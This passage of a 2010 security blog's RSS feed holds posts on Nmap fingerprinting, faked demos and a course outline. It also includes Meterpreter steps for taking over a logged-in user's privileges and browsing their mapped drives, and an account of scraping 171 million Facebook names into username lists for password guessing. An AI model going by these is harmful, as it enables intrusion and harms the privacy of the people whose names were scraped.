<p>The next problem I ran into is that I wanted to scan a mailserver. That was a simple matter of installing a SMTP server and making sure it ran on startup. Another option would have been faking it with netcat and a static response. </p>
<p>With those two problems solved, I had a workable first demo! On to the second...</p>
<h2>Problem 3: No MAC address</h2>
<p>My second script was supposed to look up a MAC address's geolocation information, but what can I do without a MAC address? The easy way would have been to hardcode a MAC into the script, but that's cheating. Nmap doesn't return the MAC address for the loopback address, so I had to find a better way to cheat than simply redirecting DNS. </p>
<p>There's probably a far better way to do this, but I decided to simply set one of my VMWare instances to auto-start on boot. I could then scan it as if I was scanning my router with no one the wiser. Of course, its MAC address isn't going to be in the geolocation database, but that's okay because....</p>
<h2>Problem 4: Geolocation</h2>
<p>To use Google's geolocation service, you obviously need to connect to Google (specifically, www.google.com/loc/json). Requests to www.google.com were already heading to localhost, thanks to my fake DNS server, so this was pretty easy. I created a valid JSON request that appeared to go to Google, and that appeared to have the proper MAC address embedded in it. Of course, it wasn't really going to Google, and it wasn't really the wireless MAC address. But because my Web server running on localhost always returned the proper coordinates, that didn't matter very much. </p>
<p>As a bonus, if I fudged up the MAC address encoding in any way, it wouldn't matter because it was returning a static page. </p>
<h2>Problem 5: Google maps</h5>
<p>The grand finale was going to be when I copied/pasted the latitude and longitude into Google Maps and our current location popped up. Obviously, that couldn't happen. But, my fake DNS server, along with a screenshot of Google Maps, looked surprisingly realistic. </p>
<p>One little point - because I wanted the URL http://maps.google.ca/maps?q=... to work, I had to add a content-type override to a .htaccess file. Not very exciting, but eh?</p>
<h2>Done!</h2>
<p>The week following B-sides Ottawa, I had the privilege to speak at <a href='https://deepsec.net/'>DeepSec</a> in Vienna, Austria (I spoke on <a href='/wiki/index.php/Passwords'>password breaches</a>, in case you're curious). Later that week, I was asked to do a short talk for <a href='http://metalab.at/wiki/English'>Metalab</a>, an Austrian hackerspace. I pulled out this talk again, without my cobbled together infrastructure, and wrote the scripts on stage. This time I had an Internet connection and guess what? They worked the first time! Sven Guckes also posted pictures of me <a href='http://www.guckes.net/pics.2010-11-27/.tmp/SL385042.JPG.html'>getting ready</a> and <a href='http://www.guckes.net/pics.2010-11-27/.tmp/SL385050.JPG.html'>speaking</a>. </p>
<p>And there! I *finally* posted this! See you all at Shmoocon later this week! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/faking-demos-for-fun-and-profit/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A call to arms! Web app fingerprints needed!</title>
		<link>http://www.skullsecurity.org/blog/2010/a-call-to-arms-web-app-fingerprints-needed</link>
		<comments>http://www.skullsecurity.org/blog/2010/a-call-to-arms-web-app-fingerprints-needed#comments</comments>
		<pubDate>Wed, 03 Nov 2010 13:01:31 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=960</guid>
		<description><![CDATA[Hey all, This is partly an overview of a new Nmap feature that I'm excited about, but is mostly a call to arms. I don't have access to enterprise apps anymore, and I'm hoping you can all help me out by submitting fingerprints! Read on for more. http-enum.nse I couldn't resist throwing in the full [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>This is partly an overview of a new Nmap feature that I'm excited about, but is mostly a call to arms. I don't have access to enterprise apps anymore, and I'm hoping you can all help me out by submitting fingerprints! Read on for more. </p>
<h2>http-enum.nse</h2>
<p>I couldn't resist throwing in the full history of http-enum.nse, because I'm chatty like that. If you want to get to the good stuff, go ahead and skip to the next section. </p>
<p>Like most of my projects, I was inspired to work on this after I went to a conference and got some cool ideas. This one happened to be Defcon 17, and the catalyst was <a href='http://secureideas.net/'>Kevin Johnson</a>'s talk on <a href='http://yokoso.inguardians.com/'>Yokoso</a>. Basically, it had a list of known files, whether images or css files or anything else, and it would check if they exist in a browser's history to see if the person had been there. This was a great starting point for http-enum, so after getting Kevin's permission to use the Yokoso database, we intetegrated it and vastly improved http-enum.nse. </p>
<p>That was over a year ago, and just wasn't as powerful as it could be. So, finally, I decide a re-write was in order. </p>
<p>The logical choice for the file format seemed to be what <a href='http://cirt.net/nikto2'>Nikto</a> uses. After all, we're basically implementing Nikto as an Nmap script, so why not make things inter-operable? I wrote the code, and it worked great, but I discussed the concept with Patrik from <a href='http://cqure.net'>cqure.net</a> and we quickly decided that even the Nikto format lacked the power we really wanted. </p>
<p>My final attempt, which I just committed to Nmap's subversion repository this week, was inspired by my success using a .lua file for my <a href='http://nmap.org/svn/nselib/data/psexec/default.lua'>psexec configuration file</a>. Instead of some random file format I invented, it uses a .lua file to build a table of fingerprints. You can take a look at the current version of the fingerprint file in Nmap's <a href='http://nmap.org/svn/nselib/data/http-fingerprints.lua'>Web SVN</a>. You'll see that it basically builds a table of fingerprints, each of which is in a well defined format. </p>
<h2>Running http-enum.nse</h2>
<p>Running http-enum.nse is pretty straight forward, since it's no different from any other script, so go ahead and skip this section if it's old news. </p>
<p>To use http-enum.nse, simply install the latest version of Nmap from SVN and run it:</p>
<pre>svn co --username='guest' --password='' svn://svn.insecure.org/nmap ./nmap-svn
cd nmap-svn
./configure &#038;& make &#038;& make install
nmap --script=http-enum -p80 -d -n www.javaop.com</pre>
<p>(www.javaop.com is my site, and is designed to come back with interesting results, so you're welcome to scan it)</p>
<h2>http-fingerprints.lua</h2>
<p>Each fingerprint can have multiple probes, each containing a path and a method (GET/POST/etc). We may extend this in the future to include more options, like postdata, http headers, etc, if the need arises. The nice thing about Lua tables is that it's completely extensible. </p>
<p>Every fingerprint also contains a match list, which defines the output and, optionally, one or more strings to match. Like Nmap's version check, this can capture portions of the match by including it in parenthesis ('()') and output them using "\1", "\2", etc.</p>
<p>There are other options, too, and you can find them by reading the header document of the <a href='http://nmap.org/svn/nselib/data/http-fingerprints.lua'>http-fingerprints.lua</a> file. The file should have more than enough information and examples to start building your own probes right now. </p>
<p>And, speaking of building your own probes...</p>
<h2>A call to arms!</h2>
<p>So, this is a powerful format. But, the entire http-fingerprints.lua file, as it stands, was based on static probes, so there are very few cases where it gets really interesting data. I no longer work for a place with a large network, so the best thing <s>I can do</s> my friend Bob can do is scan the Internet at random looking for interesting stuff. And while that's fun, it takes a long time and can upset certain organizations. </p>
<p>I'm hoping the community will help Nmap grow its fingerprint database. You can do this in many ways! </p>
<ul>
<li>Go to your major/interesting Web applications at work. Find the main page, or any unauthenticated page. Save the .html and send it, along with the path(s) where it's typically found, to me.</li>
<li>Go to those applications, and write your own fingerprints. If possible, extract a version number. Send it to me.</li>
<li>Go through the fingerprints I already have and see if you can improve the match. The current set of fingerprints were written before it was possible to extract versions, match text, etc.</li>
<li>Go through the long list of "Potentially interesting directory" fingerprints at the end of <a href='http://nmap.org/svn/nselib/data/http-fingerprints.lua'>http-fingerprints.lua</a> and nominate ones that should be deleted or promoted to their own fingerprint.</li>
</ul>
<p>My email is ron-at-skullsecurity.net. Or you can post it as a comment here, <a href='https://twitter.com/iagox86'>tweet me</a>, etc. All my contact info is at the top right. </p>
<p>As you can see, there is a lot that needs to be done, but if we can make this a community effort, and everybody who reads this picks one enterprise application they use and submit a fingerprint for it, we can do some awesome stuff! </p>
<p>My fingerprint database is just over 1000 now.. let's see if we can double that!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/a-call-to-arms-web-app-fingerprints-needed/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Update on my life, conferences, career, etc</title>
		<link>http://www.skullsecurity.org/blog/2010/update-on-my-life-conferences-career-etc</link>
		<comments>http://www.skullsecurity.org/blog/2010/update-on-my-life-conferences-career-etc#comments</comments>
		<pubDate>Fri, 29 Oct 2010 13:58:56 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Conferences]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=956</guid>
		<description><![CDATA[Hey all! It's been awhile since I've written on my blog, and I apologize. I'm at a job now where I actually spend my day working instead of pondering, so it's hard to find time! :) So, what's new with me? I'm working on some cool new Nmap stuff right now, so I'm hoping to [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all! </p>
<p>It's been awhile since I've written on my blog, and I apologize. I'm at a job now where I actually spend my day working instead of pondering, so it's hard to find time! :)</p>
<p>So, what's new with me?</p>
<p>I'm working on some cool new Nmap stuff right now, so I'm hoping to write about that in the next couple months. Web application fingerprinting isn't something I've seen done much, but I'm hoping Nmap can make some good progress on it with the help of Yokoso, Nikto, and some other resources. </p>
<p>About a month ago, I started working for <a href='http://www.tenable.com'>Tenable Network Security</a>. My job is primarily research and reverse engineering, so I've been posting little tidbits to my <a href='https://twitter.com/iagox86'>Twitter account</a>. My official title is "vulnerability research engineer", which is really cool, and they're paying me to speak at a couple conferences, which is exciting. I used to have to take vacation to go to conferences! </p>
<p>I've also worked on a number of cool plugins at Tenable, including remote checks for ms10-070 and ms10-075. I may start writing more about my Tenable experiences here! </p>
<h2>B-sides Ottawa</h2>
<p>I'm going to be speaking at <a href='http://www.securitybsides.com/BSidesOttawa'>B-sides Ottawa</a> on November 13. If any of you are in the area, please come by! I'll be discussing the <a href='http://nmap.org/nsedoc'>Nmap Scripting Engine</a>, and showing everybody how easy it is to write their own scripts. This will be my first time to Ottawa, and I have 3-4 days after the conference to hang out, so I'd love to get a tour of the city from somebody local! </p>
<h2>Deepsec (Vienna)</h2>
<p>Two weeks later, I'm heading to Vienna, Austria, to speak at <a href='https://deepsec.net'>Deepsec</a>! The talk is on November 26 and will be about password breaches/attacks, and it will be my first time in Europe. I can't wait! </p>
<p>Besides security, I just moved back home after 9 weeks of staying with a friend. My place was being repaired, and the repairs took significantly longer than planned, so I got screwed on the deal. But, I have a new floor, carpet, baseboards, and it didn't cost me anything! It looks great, and I'm excited to finish the move. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/update-on-my-life-conferences-career-etc/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Finding Mapped Drives with Meterpreter</title>
		<link>http://www.skullsecurity.org/blog/2010/finding-mapped-drives-with-meterpreter</link>
		<comments>http://www.skullsecurity.org/blog/2010/finding-mapped-drives-with-meterpreter#comments</comments>
		<pubDate>Wed, 01 Sep 2010 14:16:20 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Instructions]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[Metasploit]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=931</guid>
		<description><![CDATA[This post written by Matt Gardenghi --------- This is going to be a series of short "how to" articles so that I have a resource when I forget how I did something. Your benefit from this post is incidental to my desire to have a resource I can reach when I've had a brain cloud. [...]]]></description>
			<content:encoded><![CDATA[<p>This post written by <a href='https://twitter.com/matt_gardenghi'>Matt Gardenghi</a><br />
---------<br />
This is going to be a series of short "how to" articles so that I have a resource when I forget how I did something. Your benefit from this post is incidental to my desire to have a resource I can reach when I've had a brain cloud.</p>
<p>When cracking into a computer via Metasploit, I often (OK, usually) install meterpreter.  It just makes life simpler.  Well, the other day, I was chatting with @jcran about my inability to get access to network drives on a Novell network.  The problem is that Novell maps drives in a sorta funny method compared to Active Directory. At least that was my thought.  The problem generally is that Novell handles things extremely differently then AD, that I assumed that things would be different.  #facepalm</p>
<p>Anyhow, @jcran pointed out the following things to me:</p>
<p>1) If you are SYSTEM, you won't have the credentials of the logged in user.</p>
<p>2) The drives are mapped to the user and SYSTEM isn't a user with mapped drives.</p>
<p>3) The process is the same for finding mapped drives in both Novell and AD.</p>
<p>The procedure for accessing the user's drives goes like this for the SYSTEM user at the Meterpreter prompt:</p>
<p>1) run migrate explorer.exe (this migrates you to the explorer process and gives you the logged in user's privileges.)</p>
<p>2) getuid (verify that you are now the user)</p>
<p>3) run get_env (this dumps the environmental variables including the mapped drives)</p>
<p>4) cd &lt;drive letter&gt; (browse the drives at your leisure)</p>
<p>Simple enough.  Now if only I'd thought it out first....<br />
<img src="/blogdata/file_browsing_example.png" alt="example of file browsing"/></p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/finding-mapped-drives-with-meterpreter/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Followup to my Facebook research</title>
		<link>http://www.skullsecurity.org/blog/2010/followup-to-my-facebook-research</link>
		<comments>http://www.skullsecurity.org/blog/2010/followup-to-my-facebook-research#comments</comments>
		<pubDate>Thu, 12 Aug 2010 14:52:24 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Passwords]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=898</guid>
		<description><![CDATA[Hey all, Some of you may have heard what I did this month. It turns out, depending on who you listen to, that I'm either an evil "Facebook hacker" or just some mischievous individual doing "unsettling" research. But, one way or the other, a huge number of people have read or heard this story, and [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>Some of you may have heard what I did this month. It turns out, depending on who you listen to, that I'm either an evil "<a href='http://www.theatlanticwire.com/opinions/view/opinion/Hacker-Harvests-100M-Facebook-Profiles-and-Publishes-Data-Whos-At-Risk-4510'>Facebook hacker</a>" or just some <a href='http://www.telegraph.co.uk/technology/facebook/7919103/First-Wikileaks-now-Facebook.-Is-this-the-death-of-privacy.html'>mischievous individual doing "unsettling" research</a>. But, one way or the other, a huge number of people have read or heard this story, and that's pretty cool. </p>
<p>Although it's awesome (and humbling) that so much attention was paid (at least for a couple days) to some fairly straight forward work I did, I want to talk about this from my perspective, including why I did it and what I think this means to the community. Then, for fun, I'll end by talking about other places this research can go and open up the floor for some discussion. </p>
<h2>Why I did it</h2>
<p>The biggest question I get is: why? -- and it's a valid question. Why would I "expose" public data to the public? And, do I get this excited every year when I get the new phonebook?</p>
<p>Well, let's talk about it! </p>
<p>First off, as many of you know, I'm a developer for the <a href='http://nmap.org'>Nmap security scanner</a>. Among many, many other things, I've written several of the <a href='http://nmap.org/nsedoc/categories/auth.html'>bruteforce</a> (aka, 'auth') scripts, which are designed to test password strength on a system. The <a href='http://nmap.org/ncrack'>Ncrack</a> tool, a recent addition to the Nmap suite written by <a href='https://twitter.com/ithilgore'>Ithilgore</a>, is primarily designed to test password strength by guessing username/password combinations, much like <a href='http://freeworld.thc.org/thc-hydra/'>Hydra</a> and <a href='http://www.foofus.net/~jmk/medusa/medusa.html'>Medusa</a>.</p>
<p>When I joined the Nmap project, it came with a set of 8 or so common usernames and a couple hundred common passwords. The original password list, put together by Kris Katterjohn, was entirely based on some <a href='http://downloads.skullsecurity.org/passwords/myspace.txt'>exposed MySpace passwords</a>. Those passwords were sub-optimal because they were phished, not leaked/breached, which means passwords with messages to the phishers, like "fuckyou", are artificially common (not to mention "suck my dick" and "piss off cracker head" -- I highly suggest searching the list for swear words and body parts, it's actually really amusing). </p>
<p>Fortunately for us, as password researchers, there were several more password breaches around that same time. One of the most interesting from a research perspective, due to it being the biggest breach at the time (with 188,000 records), was <a href='http://downloads.skullsecurity.org/passwords/phpbb.txt.bz2'>Phpbb</a>. The Phpbb passwords hashed with md5 so converting them into a useful password list was a long process (that, I'm happy to report, is over 98% done -- not by me). </p>
<p>Not too long after the Phpbb breach, RockYou came along. I'm not going to link to my RockYou list directly, because of the size, but it consists of 32 million plaintext passwords and you can find it on my <a href='http://www.skullsecurity.org/wiki/index.php/Passwords'>passwords page</a>. From a password research perspective, we couldn't have asked for better data. </p>
<p>Anyway, with all these breaches, keeping track of the lists became a hassle. So, like anybody who doesn't want to do the work himself, I set up a <a href='http://skullsecurity.org/wiki/index.php/Passwords'>wiki page</a> to keep track of my lists. Since I created it, I've had exceptionally good feedback about from researchers around the world. As far as I know, it's the best collection of breached passwords anywhere. Nmap's <a href='http://nmap.org/svn/nselib/data/passwords.lst'>current password list</a> is based on extensive research performed by Nmap developers based on our many lists. </p>
<p>Now, back to the Facebook names. There are actually two sides to the situation. The first, and most obvious, occurs when Nmap (or the other tools I mentioned) are performing a password-guessing audit against a host. Before it can guess a password, the program requires a high-quality list of usernames. Those names could be harvested from the site (such as an email directory), they could be created using default usernames lists (such as 'administrator', 'web', 'user', 'guest', etc), or they could be chosen using lists of actual names (such as 'jsmith' or 'rbowes'). That's where this list comes in -- having a list of 10, 100, or 1000 names wouldn't help us much, because there are billions of people in the world, but having a sample of 170 million names is a great cross-section that gives us great insight into the most common names and, therefore, the most common usernames (who would have thought that 'jsmith' would be the most common?)</p>
<p>The second reason, however, is more interesting to me because it continues my research into <a href='http://www.skullsecurity.org/blog/?p=538'>how people choose passwords</a>. It's a well known fact to anybody in the security field that people choose poor passwords. By studying the most common trends in password choices, we help teach people how to choose better passwords (and hopefully, someday, we'll find a way to eliminate passwords altogether). I hope to put together some numbers showing how many people use passwords based on names. Although I don't have results that I'm comfortable with releasing yet, I hope to put together some statistics in the future. Stay tuned for that!</p>
<h2>Getting out of control</h2>
<p>I hope now you have some insight into my motives. It was some simple research, how did it become so popular?</p>
<p>Well, the first reason is because when I wrote the <a href='http://www.skullsecurity.org/blog/?p=887'>the original blog I posted on the subject</a>, I was somewhat careless with my language. As a result, people got the wrong impression and thought I had a lot more data than I actually did. As you can see in the <a href='http://www.bbc.co.uk/news/technology-10796584'>original story posted by the BBC</a>, the whole situation sounded a lot more exciting, and controversial, than it actually was. </p>
<p>Now, at the time that these stories were running, I wasn't at home. In fact, I on that particular day, I was at the Grand Canyon. Now, why would I post some interesting research the day before I was going to the Grand Canyon? Well, all I can say is that planning ahead is overrated. :)</p>
<p>Anyway, because I was out of town, and Canadian telcos charge ludicrous roaming fees, I wasn't in a hurry to answer phonecalls or spend time on the phone doing an interview. Therefore, despite making attempts to contact me, the reporter from the BBC, Daniel Emery, ended up posting the story as he understood it at the time. </p>
<p>Fortunately, that night, me and Daniel had a great email conversation about the work I did. The result was <a href='http://www.bbc.co.uk/news/technology-10802730'>an updated story</a> that very clearly spells out my motivations and, in my opinion, is one of the best stories on the topic. </p>
<p>By then, though, the damage was done. <a href='http://news.google.ca/news/search?aq=f&#038;pz=1&#038;cf=all&#038;ned=ca&#038;hl=en&#038;q=ron+bowes'>Hundreds of articles</a> were published. All for something that really wasn't a big deal. </p>
<p>I'm thankful, though, that Facebook's response aligned with mine, and that they didn't make any kind of an attempt to pursue legal action or request that I remove the information or anything else. That's a far better response than I'd expected, to be honest, and I have to thank Facebook for that (even if they didn't invite me to their Defcon party ;) ). </p>
<h2>What's this data mean?</h2>
<p>So, as I said, I collected exactly two pieces of data:</p>
<ol>
<li>The names of 170 million users</li>
<li>The URL of those users</li>
</ol>
<p>I did <strong>NOT</strong> collect email addresses, friends, private data, public data, or anything else. And the URL might lead to nothing but a name and whatever picture the user chose -- that's what Facebook shares at a minimum. Downloading the actual profile pages of all the users, based on some quick calculations I made, would be about 3tb big. Of course, I don't doubt that somebody is trying. :)</p>
<p>So now, I want to open up the discussion a little. I've been telling reporters (and everybody else) since it started that this data doesn't mean anything, and is only interesting as a research project into common names. My challenge to you, the readers, is: <strong>what more can be done with this data?</strong></p>
<p>I've had several email (and real-world) discussions with various people, all of whom will remain unnamed. Some were from businesses, some academia, and some media. Here are some thoughts people have run by me (if you see something that you don't want publicized, please let me know and I'll remove it from this page; I tried to keep these vague enough not to upset anybody, though):</p>
<ul>
<li>A business person suggested that companies who publish names for a living (eg, common baby names) might be interested in this data</li>
<li>Other social network sites might want to check overlaps and/or build links between profiles on their site and Facebook</li>
<li>In a blog comment, somebody suggested, and is working on, downloading profile pictures for facial recognition</li>
<li>On IRC, we discussed the possibility of analyzing the user IDs, included in the URLs, to see if it's possible to enumerate non-searchable accounts</li>
<li>A researcher suggested using this data to study the <a href='http://en.wikipedia.org/wiki/Name_letter_effect'>name letter effect</a>, though I haven't collected enough information for that to be useful</li>
<li>Similarly, names themselves can be indicative of race/culture -- could this be used for targeted advertising?</li>
</ul>
<p>So, those are some ideas to expand this research, some of which are actually being worked on right now. And don't get me wrong, those are good ideas, but I'd really like to get some more. Why should we, whether we're security researchers, media, academics, etc, care about having a list of 170,000,000 names and URLs? What can we get from aggregating this data that we didn't have before? What can a good person do with it? What about an evil person?</p>
<p>I'd love to hear most opinions! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/followup-to-my-facebook-research/feed</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Return of the Facebook Snatchers</title>
		<link>http://www.skullsecurity.org/blog/2010/return-of-the-facebook-snatchers</link>
		<comments>http://www.skullsecurity.org/blog/2010/return-of-the-facebook-snatchers#comments</comments>
		<pubDate>Tue, 27 Jul 2010 02:44:32 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=887</guid>
		<description><![CDATA[First and foremost: if you want to cut to the chase, just download the torrent. If you want the full story, please read on.... Background Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: Attack of the Facebook Snatchers. I was blog [...]]]></description>
			<content:encoded><![CDATA[<p>First and foremost: if you want to cut to the chase, just download the <a href='/blogdata/fbdata.torrent'>torrent</a>. If you want the full story, please read on....</p>
<h2>Background</h2>
<p>Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: <a href='http://www.symantec.com/connect/blogs/attack-facebook-snatchers'>Attack of the Facebook Snatchers</a>. I was blog editor at the time, and I went through the usual sign off process and, eventually, published it. Facebook was none too happy, but we fought for it and, in the end, we got to leave the blog up in its original form.</p>
<p>Why do I bring this up? Well last week <a href='https://twitter.com/FSLabsAdvisor'>@FSLabsAdvisor</a> wrote an interesting <a href='http://twitter.com/FSLabsAdvisor/status/18442678378'>Tweet</a>: it turns out, by heading to <a href='https://www.facebook.com/directory'>https://www.facebook.com/directory</a>, you can get a list of every searchable user on all of Facebook! </p>
<p>My first idea was simple: spider the lists, generate first-initial-last-name (and similar) lists, then hand them over to <a href='https://twitter.com/ithilgore'>@Ithilgore</a> to use in Nmap's awesome new bruteforce tool he's working on, <a href='http://nmap.org/ncrack/'>Ncrack</a>. </p>
<p>But as I thought more about it, and talked to other people, I realized that this is a scary privacy issue. I can find the name of pretty much every person on Facebook. Facebook helpfully informs you that "[a]nyone can opt out of appearing here by changing their Search privacy settings" -- but that doesn't help much anymore considering I already have them all (and you will too, when you download the <a href='/blogdata/fbdata.torrent'>torrent</a>). Suckers!</p>
<p>Once I have the name and URL of a user, I can view, by default, their picture, friends, information about them, and some other details. If the user has set their privacy higher, at the very least I can view their name and picture. So, if any searchable user has friends that are non-searchable, those friends just opted into being searched, like it or not! Oops :) </p>
<h2>The lists</h2>
<p>Which brings me to the next topic: the list! I wrote a <a href='/blogdata/facebook.rb'>quick Ruby script</a> (which has since become a more involved <a href='/blogdata/facebook.nse'>Nmap Script</a> that I haven't used for harvesting yet) that I used to download the full directory. I should warn you that it isn't exactly the most user friendly interface -- I wrote it for myself, primarily, I'm only linking to it for reference. I don't really suggest you try to recreate my spidering. It's a waste of several hundred gigs of bandwidth. </p>
<p>The results were spectacular. <strong>171 million</strong> names (<strong>100 million</strong> unique). My original plan was to use this list to generate a <a href='/blogdata/facebook-f.last-withcount.txt.bz2'>list of the top usernames</a> (based on first initial last name):</p>
<pre> 129369 jsmith
  79365 ssmith
  77713 skhan
  75561 msmith
  74575 skumar
  72467 csmith
  71791 asmith
  67786 jjohnson
  66693 dsmith
  66431 akhan
</pre>
<p>Or <a href='/blogdata/facebook-first.l-withcount.txt.bz2'>first name last initial</a>:</p>
<pre> 100225 johns
  97676 johnm
  97310 michaelm
  93386 michaels
  88978 davids
  85481 michaelb
  84824 davidm
  82677 davidb
  81500 johnb
  77800 michaelc
</pre>
<p>Or even the top usernames based on first name dot last name (sorry, I can't link this one due to bandwidth concerns; but it's included in <a href='/blogdata/fbdata.torrent'>the torrent</a>):</p>
<pre>  17204 john.smith
   7440 david.smith
   7200 michael.smith
   6784 chris.smith
   6371 mike.smith
   6149 arun.kumar
   5980 james.smith
   5939 amit.kumar
   5926 imran.khan
   5861 jason.smith
</pre>
<p>Or even the most common <a href='/blogdata/facebook-firstnames-withcount.txt.bz2'>first</a> or <a href='/blogdata/facebook-lastnames-withcount.txt.bz2'>last</a> names:</p>
<pre>
 977014 michael
 963693 john
 924816 david
 819879 chris
 640957 mike
 602088 james
 584438 mark
 515686 jason
 503658 robert
 484403 jessica

 913465 smith
 571819 johnson
 512312 jones
 503266 williams
 471390 brown
 386764 lee
 360010 khan
 355639 singh
 343220 kumar
 324972 miller
</pre>
<p>So, those are the top 10 lists. But I'll bet you want everything!</p>
<h2>The Torrent</h2>
<p>But it occurred to me that this is public information that Facebook puts out, I'm assuming for search engines or whatever, and that it wouldn't be right for me to keep it private. Why waste Facebook's bandwidth and make everybody scrape it, right? </p>
<p>So, I present you with: <strong><a href='/blogdata/fbdata.torrent'>a torrent</a></strong>! If you haven't download it, download it now! And seed it for as long as you can. </p>
<p>This torrent contains:</p>
<ul>
<li>The URL of every searchable Facebook user's profile</li>
<li>The name of every searchable Facebook user, both unique and by count (perfect for post-processing, datamining, etc)</li>
<li>Processed lists, including first names with count, last names with count, potential usernames with count, etc</li>
<li>The programs I used to generate everything</li>
</ul>
<p>So, there you have it: lots of awesome data from Facebook. Now, I just have to find one more problem with Facebook so I can write "Revenge of the Facebook Snatchers" and complete the trilogy. Any suggestions? >:-)</p>
<h2>Limitations</h2>
<p>So far, I have only indexed the searchable users, not their friends. Getting their friends will be significantly more data to process, and I don't have those capabilities right now. I'd like to tackle that in the future, though, so if anybody has any bandwidth they'd like to donate, all I need is an ssh account and Nmap installed. </p>
<p>An additional limitation is that these are only users whose first characters are from the latin charset. I plan to add non-Latin names in future releases. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/return-of-the-facebook-snatchers/feed</wfw:commentRss>
		<slash:comments>136</slash:comments>
		</item>
		<item>
		<title>Information Security For College Students</title>
		<link>http://www.skullsecurity.org/blog/2010/information-security-for-college-students</link>
		<comments>http://www.skullsecurity.org/blog/2010/information-security-for-college-students#comments</comments>
		<pubDate>Wed, 14 Jul 2010 16:44:39 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Default]]></category>
		<category><![CDATA[Class]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=882</guid>
		<description><![CDATA[I've thought about this off and on over the last few years.  Today I noticed that Kees Leune (http://www.leune.org/blog/kees/2010/07/teaching-agai.html) is going to be teaching a class this school year.  He was asking for comments and so here's mine.... I'd like to see a threefold class system.  The first class would entail an overview of the [...]]]></description>
			<content:encoded><![CDATA[<p>I've thought about this off and on over the last few years.  Today I noticed that Kees Leune (<a title="post" href="http://www.leune.org/blog/kees/2010/07/teaching-agai.html" target="_blank">http://www.leune.org/blog/kees/2010/07/teaching-agai.html</a>) is going to be teaching a class this school year.  He was asking for comments and so here's mine....</p>
<p>I'd like to see a threefold class system.  The first class would entail an overview of the 10 Domains.  The second would be Offensive Security and the third would be Defensive Security.</p>
<p>There is a reason for that ordering.  Without a good understanding of the fundamentals of security (10 domains) the second two classes will have less value.  Understanding the idea of physical security as well as separation of duties and such really support defensive and offensive security.  Defenders are better when they understand the threats.  Therefore, I place Offensive Security before Defensive Security.  But that's preference.  You could teach them together and make it a two-part class (firewall defense/offense; Linux offense/defense and so forth).</p>
<p>Let's get back to class 1: Information Security Fundamentals.  Here are my general thoughts on how such a class could be arranged if I were to teach it.</p>
<p>I'd assign Shaun Harris' CISSP book.  Each week we would cover the 1 of the 10 domains.  On a MWF schedule, Monday would be the overview of the domain and a discussion of the critical questions that need to be asked about each domain.  Wednesday and Friday would be in depth discussion of the domain.</p>
<p>Because this is an overview class, each Monday the student would be required to have read the chapter covering the domain to be discussed that week.  The student would also write a two-page paper explaining the critical point of the domain discussed the week before.</p>
<p>In this manner, the goal would be to instill into the student a working understanding about the critical ideas of the domain.</p>
<p>I wouldn't make this a CS only class though.  One struggle IT faces is that the business units often purchase software or services that are poorly designed.  IT is then faced with the prospect and demand of fixing/defending dumb apps.  So, I'd make this course a business elective.</p>
<p>Business students would get 1-2 credits and attend Mondays only.  They would get the high level overview.  My pie-in-the-sky hope is that it would start to create an environment in which the business teams would ask generic security questions to sales guys and/or see through marketing lies.</p>
<p>A business student would write their two-page paper for the benefit of an IT staff.  This will hopefully help them improve communication with IT people.  As such the paper would be graded by an CS teacher.</p>
<p>The CS student would write their paper explaining the domain to a business person who doesn't really understand IT.  That paper would be graded by a business teacher.</p>
<p>At least the CS/Business teachers would give a grade and I would give a grade.  Hopefully, (again pie-in-the-sky) this improves ever so slightly the ability to communicate between specialties.</p>
<p>I might even require students to sign up for SANS alert emails and to find recent articles that discuss pro/con the domains we are discussing.  This idea is to keep students learning to read/research in a lifelong way and to encourage them to learn to see how the domains interact with real life.</p>
<p>Maybe in the future we can discuss more in depth the other classes, but for now, I'm leaving this here.  Maybe someone can tweak the general idea and improve it or just use it as is.</p>
<p>Do you have thoughts?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2010/information-security-for-college-students/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Call for testers: nbtool-0.05 and dnscat-0.05</title>
		<link>http://www.skullsecurity.org/blog/2010/call-for-testers-nbtool-0-05-and-dnscat-0-05</link>
